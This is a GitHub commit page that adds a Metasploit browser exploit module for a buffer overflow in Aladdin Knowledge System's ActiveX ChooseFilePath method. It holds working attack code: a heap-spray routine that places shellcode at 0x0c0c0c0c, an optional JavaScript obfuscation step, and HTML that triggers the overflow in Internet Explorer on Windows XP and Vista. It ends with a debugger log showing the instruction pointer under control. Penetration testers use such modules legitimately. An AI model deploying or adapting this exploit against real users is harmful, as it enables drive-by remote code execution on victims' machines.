Skip to content

Commit ec8a295

Browse files
sinn3rsinn3r
committed
Add OSVDB-86723 Aladdin Knowledge System ChooseFilePath Bof
1 parent a8d494c commit ec8a295

File tree

1 file changed

+205
-0
lines changed

1 file changed

+205
-0
lines changed

‎modules/exploits/windows/browser/aladdin_choosefilepath_bof.rb

Lines changed: 205 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,205 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = NormalRanking
12+
13+
include Msf::Exploit::Remote::HttpServer::HTML
14+
include Msf::Exploit::Remote::BrowserAutopwn
15+
16+
autopwn_info({
17+
:ua_name => HttpClients::IE,
18+
:ua_minver => "6.0",
19+
:ua_maxver => "7.0",
20+
:javascript => true,
21+
:os_name => OperatingSystems::WINDOWS,
22+
:rank => Rank,
23+
:classid => "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",
24+
:method => "ChooseFilePath",
25+
})
26+
27+
28+
def initialize(info={})
29+
super(update_info(info,
30+
'Name' => "Aladdin Knowledge System Ltd ChooseFilePath Buffer Overflow",
31+
'Description' => %q{
32+
This module exploits a vulnerability found in Aladdin Knowledge System's
33+
ActiveX component. By supplying a long string of data to the ChooseFilePath()
34+
function, a buffer overflow occurs, which may result in remote code execution
35+
under the context of the user.
36+
},
37+
'License' => MSF_LICENSE,
38+
'Author' =>
39+
[
40+
'b33f', #Original
41+
'sinn3r' #Metasploit
42+
],
43+
'References' =>
44+
[
45+
[ 'OSVDB', '86723' ],
46+
[ 'EDB', '22301' ]
47+
],
48+
'Payload' =>
49+
{
50+
'StackAdjustment' => -3500
51+
},
52+
'DefaultOptions' =>
53+
{
54+
'InitialAutoRunScript' => 'migrate -f'
55+
},
56+
'Platform' => 'win',
57+
'Targets' =>
58+
[
59+
[ 'Automatic', {} ],
60+
[ 'IE 6 on Windows XP SP3', { 'Offset' => '0x5F4' } ],
61+
[ 'IE 7 on Windows XP SP3', { 'Offset' => '0x5F4' } ],
62+
[ 'IE 8 on Windows XP SP3', { 'Offset' => '0x5f4' } ],
63+
[ 'IE 7 on Windows Vista', { 'Offset' => '0x5f4' } ]
64+
],
65+
'Privileged' => false,
66+
'DisclosureDate' => "Apr 1 2012",
67+
'DefaultTarget' => 0))
68+
69+
register_options(
70+
[
71+
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
72+
], self.class)
73+
74+
end
75+
76+
def get_target(agent)
77+
#If the user is already specified by the user, we'll just use that
78+
return target if target.name != 'Automatic'
79+
80+
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
81+
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
82+
83+
ie_name = "IE #{ie}"
84+
85+
case nt
86+
when '5.1'
87+
os_name = 'Windows XP SP3'
88+
when '6.0'
89+
os_name = 'Windows Vista'
90+
when '6.1'
91+
os_name = 'Windows 7'
92+
end
93+
94+
targets.each do |t|
95+
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
96+
print_status("Target selected as: #{t.name}")
97+
return t
98+
end
99+
end
100+
101+
return nil
102+
end
103+
104+
def ie_heap_spray(my_target, p)
105+
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
106+
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
107+
js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))
108+
109+
# Land the payload at 0x0c0c0c0c
110+
111+
js = %Q|
112+
var heap_obj = new heapLib.ie(0x20000);
113+
var code = unescape("#{js_code}");
114+
var nops = unescape("#{js_nops}");
115+
while (nops.length < 0x80000) nops += nops;
116+
var offset = nops.substring(0, #{my_target['Offset']});
117+
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
118+
while (shellcode.length < 0x40000) shellcode += shellcode;
119+
var block = shellcode.substring(0, (0x80000-6)/2);
120+
heap_obj.gc();
121+
for (var i=1; i < 0x300; i++) {
122+
heap_obj.alloc(block);
123+
}
124+
var overflow = nops.substring(0, 10);
125+
|
126+
127+
js = heaplib(js, {:noobfu => true})
128+
129+
if datastore['OBFUSCATE']
130+
js = ::Rex::Exploitation::JSObfu.new(js)
131+
js.obfuscate
132+
end
133+
134+
return js
135+
end
136+
137+
def load_exploit_html(my_target, cli)
138+
p = payload.encoded
139+
spray = ie_heap_spray(my_target, p)
140+
141+
html = %Q|
142+
<html>
143+
<object id="pwnd" classid="clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6"></object>
144+
<script>
145+
#{spray}
146+
147+
var junk = unescape("%0c%0c%0c%0c");
148+
while (junk.length < 2000) junk += junk;
149+
pwnd.ChooseFilePath(junk);
150+
</script>
151+
</html>
152+
|
153+
154+
return html
155+
end
156+
157+
def on_request_uri(cli, request)
158+
agent = request.headers['User-Agent']
159+
uri = request.uri
160+
print_status("Requesting: #{uri}")
161+
162+
my_target = get_target(agent)
163+
# Avoid the attack if no suitable target found
164+
if my_target.nil?
165+
print_error("Browser not supported, sending 404: #{agent}")
166+
send_not_found(cli)
167+
return
168+
end
169+
170+
html = load_exploit_html(my_target, cli)
171+
html = html.gsub(/^\t\t/, '')
172+
print_status("Sending HTML...")
173+
send_response(cli, html, {'Content-Type'=>'text/html'})
174+
end
175+
176+
end
177+
178+
=begin
179+
0:008> g
180+
(82c.12dc): Access violation - code c0000005 (first chance)
181+
First chance exceptions are reported before any exception handling.
182+
This exception may be expected and handled.
183+
eax=0c0c0c0c ebx=00001d56 ecx=020b93d4 edx=00001d56 esi=00001d60 edi=020b93e8
184+
eip=7712a41a esp=020b93bc ebp=020b93c4 iopl=0 nv up ei pl zr na pe nc
185+
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
186+
OLEAUT32!SysReAllocStringLen+0x31:
187+
7712a41a 8b00 mov eax,dword ptr [eax] ds:0023:0c0c0c0c=????????
188+
0:008> g
189+
(82c.12dc): Access violation - code c0000005 (first chance)
190+
First chance exceptions are reported before any exception handling.
191+
This exception may be expected and handled.
192+
eax=00000000 ebx=00000000 ecx=0c0c0c0c edx=7c9032bc esi=00000000 edi=00000000
193+
eip=0c0c0c0c esp=020b8fec ebp=020b900c iopl=0 nv up ei pl zr na pe nc
194+
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
195+
0c0c0c0c ?? ???
196+
0:008> db 020bf798
197+
020bf798 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
198+
020bf7a8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
199+
020bf7b8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
200+
020bf7c8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
201+
020bf7d8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
202+
020bf7e8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
203+
020bf7f8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
204+
020bf808 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................
205+
=end

0 commit comments

Comments
 (0)